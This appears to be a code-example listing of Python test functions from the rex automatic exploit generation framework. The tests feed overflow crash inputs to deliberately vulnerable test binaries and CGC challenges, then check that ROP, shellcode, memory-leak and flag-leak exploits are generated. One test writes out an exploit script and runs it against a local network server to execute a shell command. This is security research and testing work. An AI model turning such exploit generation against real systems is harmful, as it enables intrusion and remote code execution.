Example #1
0
def test_shellcode_placement():
    '''
    Test that shellcode is placed in only executable memory regions.
    '''

    crash = "A" * 272
    crash = rex.Crash(
        os.path.join(bin_location, "tests/i386/shellcode_tester"), crash)

    arsenal = crash.exploit()

    exploit = arsenal.register_setters[0]

    # make sure the shellcode was placed into the executable heap page
    heap_top = crash.state.se.any_int(crash.state.cgc.allocation_base)
    nose.tools.assert_equal(
        struct.unpack("<I", exploit._raw_payload[-4:])[0] & 0xfffff000,
        heap_top)

    exec_regions = filter(
        lambda a: crash.state.se.any_int(crash.state.memory.permissions(a)) &
        0x4, crash.symbolic_mem)

    # should just be two executable regions
    nose.tools.assert_equal(len(exec_regions), 2)

    # only executable regions should be that one heap page and the stack, despite having more heap control and global control
    nose.tools.assert_equal(sorted(exec_regions),
                            sorted([0xb7ffb000, 0xbaaaaeec]))
Example #2
0
def test_exploit_yielding():
    # Test the yielding of exploits

    inp = bytes.fromhex(
        "0500ffff80ffffff80f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1ffff80f1f1f1ebf1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f100de7fff80ffffff800fffffff7ef3ffffffff7fffff80fffffeff09fefefefefe0a57656c63fe6d6520746f2850616c696e64726f6d65204669776465720a0affffffff80ffffe8800fffffff7f230a"
    )
    path = os.path.join(bin_location, "tests/cgc/sc1_0b32aa01_01")

    with archr.targets.LocalTarget([path], target_os='cgc') as target:
        crash = rex.Crash(target,
                          inp,
                          fast_mode=True,
                          rop_cache_path=os.path.join(cache_location,
                                                      'sc1_0b32aa01_01'))

        leakers = 0
        register_setters = 0
        for exploit in crash.yield_exploits():
            leakers += 1 if exploit.cgc_type == 2 else 0
            register_setters += 1 if exploit.cgc_type == 1 else 0
            nose.tools.assert_true(_do_pov_test(exploit))

        crash.project.loader.close()

        # make sure we can generate a few different exploits
        nose.tools.assert_true(register_setters >= 3)
        nose.tools.assert_true(leakers >= 2)
Example #3
0
def test_legit_00003():
    # Test exploration and exploitation of legit_00003.

    crash = b"1\n" + b"A" * 200
    crash = rex.Crash(os.path.join(bin_location, "tests/defcon24/legit_00003"),
                      crash,
                      fast_mode=True,
                      rop_cache_path=os.path.join(cache_location,
                                                  'legit_00003'))

    nose.tools.assert_true(crash.explorable())
    nose.tools.assert_true(crash.one_of(Vulnerability.WRITE_WHAT_WHERE))

    crash.explore()

    arsenal = crash.exploit(
        blacklist_techniques={'rop_set_register', 'rop_leak_memory'})

    nose.tools.assert_true(len(arsenal.register_setters) >= 2)
    nose.tools.assert_true(len(arsenal.leakers) >= 1)

    for reg_setter in arsenal.register_setters:
        nose.tools.assert_true(_do_pov_test(reg_setter))

    for leaker in arsenal.leakers:
        nose.tools.assert_true(_do_pov_test(leaker))
Example #4
0
def break_cpp_vptr_smash():#L165
    # Test detection of 'arbitrary-read' vulnerability type, exploration of the crash, and exploitation post-exploration

    crash = b"A" * 512
    crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_vptr_smash"), crash, rop_cache_path=os.path.join(cache_location, 'vuln_vptr_smash'))

    # this should just tell us that we have an arbitrary-read and that the crash type is explorable
    # but not exploitable
    nose.tools.assert_true(crash.one_of(Vulnerability.ARBITRARY_READ))
    nose.tools.assert_false(crash.exploitable())
    nose.tools.assert_true(crash.explorable())

    crash.explore()
    # after exploring the crash we should see that it is exploitable
    nose.tools.assert_true(crash.exploitable)
    nose.tools.assert_true(crash.state.solver.symbolic(crash.state.regs.pc))

    # let's generate some exploits for it
    arsenal = crash.exploit()

    # make sure we have three register setting exploits (one for each technique)
    nose.tools.assert_true(len(arsenal.register_setters) >= 2)

    # make sure we can also generate some leakers, should be rop and shellcode at this point
    nose.tools.assert_true(len(arsenal.leakers) >= 2)

    # make sure the test succeeds on every register setter
    for reg_setter in arsenal.register_setters:
        nose.tools.assert_true(_do_pov_test(reg_setter))

    # make sure the test succeeds on every leaker
    for leaker in arsenal.leakers:
        nose.tools.assert_true(_do_pov_test(leaker))

    _check_arsenal_has_send(arsenal)
Example #5
0
def break_KPRCA_00057(): # L284
    # This test requires pointing an arbitrary transmit using atoi at the flag

    with open(os.path.join(tests_dir, "KPRCA_00057_crash"), 'rb') as f:
        crash = f.read()

    # set up hooks
    format_infos = []
    format_infos.append(FormatInfoStrToInt(0x8049e90, "based_atoi_8", str_arg_num=0, base=8,
                       base_arg=None, allows_negative=False))
    format_infos.append(FormatInfoStrToInt(0x804b3b0, "strtol", str_arg_num=0, base=None,
                       base_arg=2, allows_negative=False))
    format_infos.append(FormatInfoStrToInt(0x804b160, "strtol", str_arg_num=0, base=None,
                       base_arg=2, allows_negative=False))
    format_infos.append(FormatInfoDontConstrain(0x8049e90, "fdprintf", 1))

    binary = os.path.join(bin_location, "tests/cgc/KPRCA_00057")
    crash = rex.Crash(binary, crash, format_infos=format_infos, rop_cache_path=os.path.join(cache_location, 'KPRCA_00057_crash'))

    nose.tools.assert_true(crash.one_of(Vulnerability.ARBITRARY_TRANSMIT))

    flag_leaks = list(crash.point_to_flag())

    nose.tools.assert_true(len(flag_leaks) >= 1)

    cg = colorguard.ColorGuard(binary, flag_leaks[0])
    cg.causes_leak()
    pov = cg.attempt_pov()

    nose.tools.assert_true(_do_pov_test(pov))
Example #6
0
def test_shellcode_placement():

    # Test that shellcode is placed in only executable memory regions.

    inp = b"A" * 272
    path = os.path.join(bin_location, "tests/cgc/shellcode_tester")

    with archr.targets.LocalTarget([path], target_os='cgc').build().start() as target:
        crash = rex.Crash(target, inp, fast_mode=True, rop_cache_path=os.path.join(cache_location, 'shellcode_tester'))

        arsenal = crash.exploit(blacklist_techniques={'rop_leak_memory', 'rop_set_register', 'circumstantially_set_register'})
        exploit = [e for e in arsenal.register_setters if type(e) is CGCType1ShellcodeExploit][0]

        # make sure the shellcode was placed into the executable heap page
        heap_top = crash.state.solver.eval(crash.state.cgc.allocation_base)
        nose.tools.assert_equal(struct.unpack("<I", exploit._raw_payload[-4:])[0] & 0xfffff000, heap_top)
        exec_regions = list(filter(lambda a: crash.state.solver.eval(crash.state.memory.permissions(a)) & 0x4, crash.symbolic_mem))

        crash.project.loader.close()

        # should just be two executable regions
        nose.tools.assert_equal(len(exec_regions), 2)

        # only executable regions should be that one heap page and the stack, despite having more heap control and global control
        nose.tools.assert_equal(sorted(exec_regions), sorted([0xb7ffb000, 0xbaaaaeec]))
Example #7
0
def test_linux_stacksmash():
    # Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by
    # ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS.

    crash = b"A" * 227
    crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_stacksmash"),
                      crash,
                      fast_mode=True,
                      rop_cache_path=os.path.join(cache_location,
                                                  'vuln_stacksmash'),
                      tracer_args={
                          'ld_linux':
                          os.path.join(bin_location,
                                       'tests/i386/ld-linux.so.2'),
                          'library_path':
                          os.path.join(bin_location, 'tests/i386')
                      })
    exploit = crash.exploit(
        blacklist_techniques={'rop_leak_memory', 'rop_set_register'})

    # make sure we're able to exploit it in all possible ways
    nose.tools.assert_equal(len(exploit.arsenal), 3)
    nose.tools.assert_true('rop_to_system' in exploit.arsenal)
    nose.tools.assert_true('call_shellcode' in exploit.arsenal)
    nose.tools.assert_true('call_jmp_sp_shellcode' in exploit.arsenal)
Example #8
0
def test_reconstraining():
    # Test our ability to reconstrain

    inp = b'3\x89111' + b'0' + b'A' * 190 + b'1'
    path = os.path.join(bin_location, "tests/cgc/PIZZA_00003")

    with archr.targets.LocalTarget([path], target_os='cgc') as target:
        crash = rex.Crash(target,
                          inp,
                          fast_mode=True,
                          rop_cache_path=os.path.join(cache_location,
                                                      'PIZZA_00003'))

        ptfi = list(crash.point_to_flag())
        nose.tools.assert_true(len(ptfi) >= 2)

        # test point to flag #1
        cg = colorguard.ColorGuard(path, ptfi[0])
        x = cg.attempt_exploit()
        nose.tools.assert_not_equal(x, None)
        nose.tools.assert_true(_do_pov_test(x))

        # test point to flag #2
        cg = colorguard.ColorGuard(path, ptfi[1])
        x = cg.attempt_exploit()
        nose.tools.assert_not_equal(x, None)
        nose.tools.assert_true(_do_pov_test(x))
        crash.project.loader.close()
Example #9
0
def test_reconstraining():
    """
    Test our ability to reconstrain
    """

    crash_input = "101010101014431b371c3389313131301a73cc62516e491dd2f10bfa256e8c5577383b5dcf6bc645d295b4011493c0e5ed80ffffff0b7070c1ecc2f516a892f17abe0dd15eb17ff76624646f6f756d6590746174696f6eb770de07ed4352a3f8575ffc47e9aaa3c792f17abe0dd15eb17ff76624646f63756d877c26a90f839aa84386b0d86123f1ebb65586a794aef8355c3c252410bce1c41494adbe17ec7fd3f764b30fe3bb8187c7bd146462f5010000007f5713a610eda32f16a52226fb88fe0d2905ba2c98f48645786563757461626c652f6400631257e567ff227038ae0bb5242d61549eb9febc41cc0b347e7c7c7c7c7c7c7c7c7c7c7c7c7c7c997c7c7c73d6121b47383e2e72c363a4255a44bd17bec98097e8bd91cf27711ecf4edc02b6f031b170de07ed4352a310575ffc47e9aaa3c77ca565638510c0179e3911eb569ca90064cd2b48c977641ba395905373fd0b578175a210101014431b371c333700313130e7062cf5d2dd371b8cf2812fd823bd634f4240afba99bff3eee8494da1e7634bb4cf511771331b73cf16bb41aedd7c632d636763ede059ee4d9c6603d09fe58e25b36d8d40104b2e868be8e2f7fc446fd8ac83587f842ab06ab2f0b33afbd8bf47f7c29a1314d4b32af4b400026bec8650bfa7b0858c2ab155865318a80534f75b3384d8".replace(
        "\n", "").decode("hex")

    binary = os.path.join(bin_location, "tests/cgc/PIZZA_00003")

    crash = rex.Crash(binary, crash_input)
    cp = crash.copy()

    ptfi = list(cp.point_to_flag())

    nose.tools.assert_true(len(ptfi) >= 1)

    cg = colorguard.ColorGuard(binary, ptfi[0])
    x = cg.attempt_exploit()

    nose.tools.assert_not_equals(x, None)
    nose.tools.assert_true(_do_pov_test(x))

    # test point to flag
    nose.tools.assert_true(len(ptfi) >= 2)
    cg = colorguard.ColorGuard(binary, ptfi[1])
    x = cg.attempt_exploit()
    nose.tools.assert_not_equals(x, None)
    nose.tools.assert_true(_do_pov_test(x))
Example #10
0
def break_chall_resp_atoi():
    crash_input = b'-435982256\n-439864843\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
                  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
                  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
                  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
                  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'

    bin_path = bin_location + "/tests/i386/chall_resp_atoi"
    cfg_fast = angr.Project(bin_path).analyses.CFGFast()
    atoi_addr = cfg_fast.functions["atoi"].addr
    itoa_addr = cfg_fast.functions["itoa"].addr
    f1 = FormatInfoIntToStr(addr=itoa_addr,
                            func_name="itoa",
                            int_arg_num=1,
                            str_dst_num=0,
                            base=10,
                            base_arg=None)
    f2 = FormatInfoStrToInt(addr=atoi_addr,
                            func_name="atoi",
                            str_arg_num=0,
                            base=10,
                            base_arg=None,
                            allows_negative=True)
    crash = rex.Crash(bin_path,
                      crash=crash_input,
                      format_infos=[f1, f2],
                      rop_cache_path=os.path.join(cache_location,
                                                  "chall_resp_atoi"))
    exploit_f = crash.exploit()
    for e in exploit_f.register_setters:
        nose.tools.assert_true(_do_pov_test(e))
    for e in exploit_f.leakers:
        nose.tools.assert_true(_do_pov_test(e))
Example #11
0
def test_reconstraining():
    # Test our ability to reconstrain

    crash_input = b'3\x89111' + b'0' + b'A' * 190 + b'1'

    binary = os.path.join(bin_location, "tests/cgc/PIZZA_00003")

    crash = rex.Crash(binary,
                      crash_input,
                      fast_mode=True,
                      rop_cache_path=os.path.join(cache_location,
                                                  'PIZZA_00003'))

    ptfi = list(crash.point_to_flag())
    nose.tools.assert_true(len(ptfi) >= 2)

    # test point to flag #1
    cg = colorguard.ColorGuard(binary, ptfi[0])
    x = cg.attempt_exploit()
    nose.tools.assert_not_equals(x, None)
    nose.tools.assert_true(_do_pov_test(x))

    # test point to flag #2
    cg = colorguard.ColorGuard(binary, ptfi[1])
    x = cg.attempt_exploit()
    nose.tools.assert_not_equals(x, None)
    nose.tools.assert_true(_do_pov_test(x))
Example #12
0
def test_legit_00001():
    # Test exploitation of legit_00001 given a good crash.

    crash = bytes.fromhex(
        '1002000041414141414141414141414d41414141414141414141414141414141001041414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141412a4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141604141414141414141414102ffffff410080ffff4141410d807f412641414141414141414141414141414141414141413b41415f414141412b41414141417f4141414141412441414141416041f8414141414141c1414139410010000200005541415f4141b9b9b9b1b9d4b9b9b9b99cb99ec4b9b9b941411f4141414141414114414141514141414141414141414141454141494141414141414141404141414141414d414124a0414571717171717171717171717171717171616161616161616161616161616161006161515e41414141412041414141412125414141304141492f41414141492f4141414541412c4141410037373737373737373737414141414141413a41c4b9b9b9b901b9413c41414141414141414141414141412133414141414141412f414141414141414164414141414141414141414141417f41414100010000000055414b4100124141414141414141'
    )

    crash = rex.Crash(os.path.join(bin_location, "tests/defcon24/legit_00001"),
                      crash,
                      fast_mode=True,
                      rop_cache_path=os.path.join(cache_location,
                                                  'legit_00001'),
                      use_crash_input=True)

    arsenal = crash.exploit(
        blacklist_techniques={'rop_set_register', 'rop_leak_memory'})

    nose.tools.assert_true(len(arsenal.register_setters) >= 2)
    nose.tools.assert_true(len(arsenal.leakers) >= 1)

    for reg_setter in arsenal.register_setters:
        nose.tools.assert_true(_do_pov_test(reg_setter))

    for leaker in arsenal.leakers:
        nose.tools.assert_true(_do_pov_test(leaker))
Example #13
0
def test_legit_00003():
    # Test exploration and exploitation of legit_00003.

    inp = b"1\n" + b"A" * 200
    path = os.path.join(bin_location, "tests/defcon24/legit_00003")
    with archr.targets.LocalTarget([path], target_os='cgc') as target:
        crash = rex.Crash(target,
                          inp,
                          fast_mode=True,
                          rop_cache_path=os.path.join(cache_location,
                                                      'legit_00003'))

        nose.tools.assert_true(crash.explorable())
        nose.tools.assert_true(crash.one_of(Vulnerability.WRITE_WHAT_WHERE))

        crash.explore()

        arsenal = crash.exploit(
            blacklist_techniques={'rop_set_register', 'rop_leak_memory'})

        nose.tools.assert_true(len(arsenal.register_setters) >= 2)
        nose.tools.assert_true(len(arsenal.leakers) >= 1)

        crash.project.loader.close()

        for reg_setter in arsenal.register_setters:
            nose.tools.assert_true(_do_pov_test(reg_setter))

        for leaker in arsenal.leakers:
            nose.tools.assert_true(_do_pov_test(leaker))
Example #14
0
def test_linux_stacksmash_32():
    # Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by
    # ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS.

    inp = b"A" * 227
    lib_path = os.path.join(bin_location, "tests/i386")
    ld_path = os.path.join(lib_path, "ld-linux.so.2")
    path = os.path.join(lib_path, "vuln_stacksmash")
    with archr.targets.LocalTarget(
        [ld_path, '--library-path', lib_path, path], path,
            target_arch='i386').build().start() as target:
        crash = rex.Crash(target,
                          inp,
                          fast_mode=True,
                          rop_cache_path=os.path.join(cache_location,
                                                      'vuln_stacksmash'))

        exploit = crash.exploit(
            blacklist_techniques={'rop_leak_memory', 'rop_set_register'})
        crash.project.loader.close()

        # make sure we're able to exploit it in all possible ways
        assert len(exploit.arsenal) == 3
        assert 'rop_to_system' in exploit.arsenal
        assert 'call_shellcode' in exploit.arsenal
        assert 'call_jmp_sp_shellcode' in exploit.arsenal

        _check_arsenal_has_send(exploit.arsenal)
Example #15
0
def test_cgc_type1_rop_stacksmash():
    # Test creation of type1 exploit on 0b32aa01_01 ('Palindrome') with rop. The vulnerability exposed by the string `crash` is
    # stack buffer overflow. This testcase should exercise rex exploiting stack-based buffer overflows with rop.

    crash = bytes.fromhex(
        "0500ffff80ffffff80f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1ffff80f1f1f1ebf1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f100de7fff80ffffff800fffffff7ef3ffffffff7fffff80fffffeff09fefefefefe0a57656c63fe6d6520746f2850616c696e64726f6d65204669776465720a0affffffff80ffffe8800fffffff7f230a"
    )

    crash = rex.Crash(os.path.join(bin_location, "tests/cgc/sc1_0b32aa01_01"),
                      crash,
                      fast_mode=True,
                      rop_cache_path=os.path.join(cache_location,
                                                  'sc1_0b32aa01_01'))
    arsenal = crash.exploit()

    # make sure we can control ecx, edx, ebx, ebp, esi, and edi with rop
    nose.tools.assert_true(len(arsenal.register_setters) >= 3)
    nose.tools.assert_true(len(arsenal.leakers) >= 2)

    # make sure the test succeeds on every register setter
    for reg_setter in arsenal.register_setters:
        nose.tools.assert_true(_do_pov_test(reg_setter))

    # make sure the test succeeds on every leaker
    for leaker in arsenal.leakers:
        nose.tools.assert_true(_do_pov_test(leaker))
Example #16
0
def test_linux_stacksmash_64():
    # Test exploiting a simple linux 64-bit program with a stack buffer overflow. We should be able to exploit the test binary by
    # ropping to 'system', calling shellcode in the BSS, and calling 'jmpsp' shellcode in the BSS.

    inp = b"A" * 250
    lib_path = os.path.join(bin_location, "tests/x86_64")
    ld_path = os.path.join(lib_path, "ld-linux-x86-64.so.2")
    path = os.path.join(lib_path, "vuln_stacksmash")
    with archr.targets.LocalTarget(
        [ld_path, '--library-path', lib_path, path],
            path,
            target_arch='x86_64').build().start() as target:
        crash = rex.Crash(target,
                          inp,
                          fast_mode=True,
                          rop_cache_path=os.path.join(cache_location,
                                                      'vuln_stacksmash_64'),
                          aslr=False)

        exploit = crash.exploit()
        crash.project.loader.close()

        # make sure we're able to exploit it to call shellcode
        assert 'call_shellcode' in exploit.arsenal

        _check_arsenal_has_send(exploit.arsenal)
Example #17
0
def test_cromu71():
    crash_input = b'3&\x1b\x17/\x12\x1b\x1e]]]]]]]]]]]]]]]]]]]]\n\x1e\x7f\xffC^\n'

    binary = os.path.join(bin_location, "tests/cgc/simplified_CROMU_00071")

    # create format info for atoi
    format_infos = []
    format_infos.append(
        FormatInfoStrToInt(0x804C500,
                           "based_atoi_signed_10",
                           str_arg_num=0,
                           base=10,
                           base_arg=None,
                           allows_negative=True))

    crash = rex.Crash(binary,
                      crash_input,
                      fast_mode=True,
                      rop_cache_path=os.path.join(cache_location,
                                                  'simplified_CROMU_00071'))

    # let's generate some exploits for it
    arsenal = crash.exploit(
        blacklist_techniques={'rop_set_register', 'rop_leak_memory'})

    # make sure it works
    nose.tools.assert_true(_do_pov_test(arsenal.best_type1))
Example #18
0
def test_shellcode_placement():
    # Test that shellcode is placed in only executable memory regions.

    crash = b"A" * 272
    crash = rex.Crash(os.path.join(bin_location,
                                   "tests/i386/shellcode_tester"),
                      crash,
                      fast_mode=True,
                      rop_cache_path=os.path.join(cache_location,
                                                  'shellcode_tester'))

    arsenal = crash.exploit(
        blacklist_techniques={'rop_leak_memory', 'rop_set_register'})

    exploit = arsenal.register_setters[0]

    # make sure the shellcode was placed into the executable heap page
    heap_top = crash.state.solver.eval(crash.state.cgc.allocation_base)
    nose.tools.assert_equal(
        struct.unpack("<I", exploit._raw_payload[-4:])[0] & 0xfffff000,
        heap_top)

    exec_regions = list(
        filter(
            lambda a: crash.state.solver.eval(crash.state.memory.permissions(a)
                                              ) & 0x4, crash.symbolic_mem))

    # should just be two executable regions
    nose.tools.assert_equal(len(exec_regions), 2)

    # only executable regions should be that one heap page and the stack, despite having more heap control and global control
    nose.tools.assert_equal(sorted(exec_regions),
                            sorted([0xb7ffb000, 0xbaaaaeec]))
Example #19
0
def test_write_what_where_shadowstack():
    """
    Test that our write what where exploit can leak, and works in the presence of a shadowstack
    """
    crash_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
    crash = rex.Crash(os.path.join(bin_location + "/tests/i386/write_what_where_shadow_stack"), crash_str)
    arsenal = crash.exploit()
    exploit = arsenal.best_type2
    nose.tools.assert_true(exploit.test_binary())
Example #20
0
    def _run_rex(self, atoi_infos=None):

        LOG.info("Rex beginning to triage crash %d for cs %s",
                 self._crashing_test.id, self._cs.name)

        try:
            cached_blob = str(RopCache.get(RopCache.cs == self._cs).blob)
            cached = pickle.loads(cached_blob)
            LOG.info("Got a rop cache")
        except RopCache.DoesNotExist:
            cached = None
            LOG.info("No rop cache available")

        use_rop = cached is not None
        crash = rex.Crash(self._cbn.path,
                          str(self._crashing_test.blob),
                          use_rop=use_rop,
                          rop_cache_tuple=cached,
                          format_infos=atoi_infos)
        self._crash = crash

        if not crash.leakable() and not crash.exploitable(
        ) and not crash.explorable():
            raise ValueError("Crash was not exploitable or explorable")

        # split the crash in case we need to try both explore-for-exploit and forge-ahead
        forge_ahead_crash = crash.copy()

        try:
            # maybe we need to do some exploring first
            if forge_ahead_crash.leakable():
                LOG.info("Trying to leverage crash to cause a leak")
                self.craft_leaks(forge_ahead_crash)

            if forge_ahead_crash.explorable():
                LOG.info(
                    "Exploring crash in hopes of getting something more valuable"
                )
                forge_ahead_crash = self.forge_ahead(self._crashing_test,
                                                     forge_ahead_crash)

            if forge_ahead_crash.exploitable():
                LOG.info("Attempting to exploit crash")
                self.exploit_crash(self._crashing_test, forge_ahead_crash)

        except (rex.CannotExplore, rex.CannotExploit,
                rex.NonCrashingInput) as e:
            LOG.warning(
                "Crash was not explorable using the forge-ahead method")
            LOG.error("Encountered error %s (%s)", e, e.message)

        # use explore-for-exploit
        if crash.one_of([
                rex.Vulnerability.WRITE_WHAT_WHERE,
                rex.Vulnerability.WRITE_X_WHERE
        ]):
            self.exploit_crash(self._crashing_test, crash)
Example #21
0
def test_linux_network_stacksmash_64():
    # Test exploiting a simple network server with a stack-based buffer overflow.
    inp = b'\x00' * 500
    lib_path = os.path.join(bin_location, "tests/x86_64")
    ld_path = os.path.join(lib_path, "ld-linux-x86-64.so.2")
    path = os.path.join(lib_path, "network_overflow")
    port = random.randint(8000, 9000)
    with archr.targets.LocalTarget(
        [path, str(port)],
            path,
            target_arch='x86_64',
            ipv4_address="127.0.0.1",
            tcp_ports=(port, )).build().start() as target:
        crash = rex.Crash(target,
                          inp,
                          rop_cache_path=os.path.join(cache_location,
                                                      'network_overflow_64'),
                          aslr=False,
                          input_type=rex.enums.CrashInputType.TCP,
                          port=port)

        exploit = crash.exploit()
        crash.project.loader.close()

        assert 'call_shellcode' in exploit.arsenal

        _check_arsenal_has_send(exploit.arsenal)

        # let's actually run the exploit

    new_port = random.randint(9001, 10000)
    with archr.targets.LocalTarget(
        [path, str(new_port)],
            path,
            target_arch='x86_64',
            ipv4_address="127.0.0.1",
            tcp_ports=(new_port, )).build().start() as new_target:
        try:
            p = new_target.run_command("")

            # wait for the target to load
            time.sleep(.5)

            temp_script = tempfile.NamedTemporaryFile(suffix=".py",
                                                      delete=False)
            exploit_location = temp_script.name
            temp_script.close()

            exploit.arsenal['call_shellcode'].script(exploit_location)

            exploit_result = subprocess.check_output([
                "python", exploit_location, "127.0.0.1",
                str(new_port), "-c", "echo hello"
            ])
            assert b"hello" in exploit_result
        finally:
            os.unlink(exploit_location)
Example #22
0
def test_linux_stacksmash():
    '''
    Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by
    ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS.
    '''

    crash = "A" * 227
    crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_stacksmash"), crash)
    crash.explore()
    exploit = crash.exploit()
Example #23
0
def test_chall_resp_rand():
    crash_input = " (((" \
                  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
                  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
                  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
    crash = rex.Crash(bin_location + "/tests/i386/overflow_after_chall_resp_rand", crash=crash_input)
    exploit_f = crash.exploit()
    for e in exploit_f.register_setters:
        nose.tools.assert_true(_do_pov_test(e))
    for e in exploit_f.leakers:
        nose.tools.assert_true(_do_pov_test(e))
Example #24
0
def test_chall_response():
    crash_input = "\x63\xbd\x66\xfd" + \
                  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
                  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
                  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
    crash = rex.Crash(bin_location + "/tests/i386/overflow_after_challenge_response2", crash=crash_input)
    exploit_f = crash.exploit()
    for e in exploit_f.register_setters:
        nose.tools.assert_true(_do_pov_test(e))
    for e in exploit_f.leakers:
        nose.tools.assert_true(_do_pov_test(e))
def test_hammer_controller_qemu_tracer():
    build_docker()

    t = archr.targets.DockerImageTarget(
        'rex_tests:hammer_controller').build().start()
    tb = archr.arsenal.QEMUTracerBow(t)

    crash = rex.Crash(t, b"\x41" * 120 + b'\n', aslr=False, tracer_bow=tb)

    exploit = crash.exploit()
    assert 'rop_chess_control' in exploit.arsenal
    exploit.arsenal['rop_chess_control'].script()
    exploit.arsenal['rop_chess_control'].script("x2.py")
Example #26
0
def test_write_what_where_shadowstack():

    # Test that our write what where exploit can leak, and works in the presence of a shadowstack
    inp = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
    path = os.path.join(bin_location, "tests/cgc/write_what_where_shadow_stack")

    with archr.targets.LocalTarget([path], target_os='cgc') as target:
        crash = rex.Crash(target, inp, rop_cache_path=os.path.join(cache_location, "write_what_where_shadow_stack"))
        arsenal = crash.exploit()
        crash.project.loader.close()

        exploit = arsenal.best_type2
        nose.tools.assert_true(exploit.test_binary())
Example #27
0
def test_linux_stacksmash():
    '''
    Test exploiting a simple linux program with a stack buffer overflow. We should be able to exploit the test binary by
    ropping to 'system', calling shellcode in the BSS and calling 'jmpsp' shellcode in the BSS.
    '''

    crash = "A" * 227
    crash = rex.Crash(os.path.join(bin_location, "tests/i386/vuln_stacksmash"), crash)
    exploit = crash.exploit()

    # make sure we're able to exploit it in all possible ways
    nose.tools.assert_equal(len(exploit.arsenal), 3)
    nose.tools.assert_true('rop_to_system' in exploit.arsenal)
    nose.tools.assert_true('call_shellcode' in exploit.arsenal)
    nose.tools.assert_true('call_jmp_sp_shellcode' in exploit.arsenal)
Example #28
0
def test_chall_resp_rand():
    crash_input = b" (((" \
                  b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
                  b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
                  b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
    crash = rex.Crash(
        bin_location + "/tests/i386/overflow_after_chall_resp_rand",
        crash=crash_input,
        rop_cache_path=os.path.join(cache_location,
                                    "overflow_after_chall_resp_rand"))
    exploit_f = crash.exploit()
    for e in exploit_f.register_setters:
        nose.tools.assert_true(_do_pov_test(e))
    for e in exploit_f.leakers:
        nose.tools.assert_true(_do_pov_test(e))
Example #29
0
def test_halfway_tracing():
    inp = b'A' * 100
    bin_path = os.path.join(bin_location, "tests", "x86_64", "stack_smash")
    with archr.targets.LocalTarget(
        [bin_path], target_arch='x86_64').build().start() as target:
        bow = archr.arsenal.QEMUTracerBow(target)
        crash = rex.Crash(target,
                          inp,
                          fast_mode=True,
                          use_rop=True,
                          tracer_bow=bow,
                          trace_addr=0x4005bd)
        exp = crash.exploit()

        nose.tools.assert_true('rop_to_system' in exp.arsenal)
        nose.tools.assert_true('rop_register_control' in exp.arsenal)
Example #30
0
def test_cromu_00071():
    '''
    Test exploitation of CROMU_00071
    '''

    crash = rex.Crash(
        os.path.join(bin_location, "tests/cgc/CROMU_00071"),
        "0c0c492a53acacacacacacacacacacacacac000100800a0b690e0aef6503697d660a0059e20afc0a0a332f7d66660a0059e20afc0a0a332f7fffffff16fb1616162516161616161616166a7dffffff7b0e0a0a6603697d660a0059e21c"
        .decode('hex'))

    arsenal = crash.exploit()

    nose.tools.assert_equals(len(arsenal.register_setters), 2)

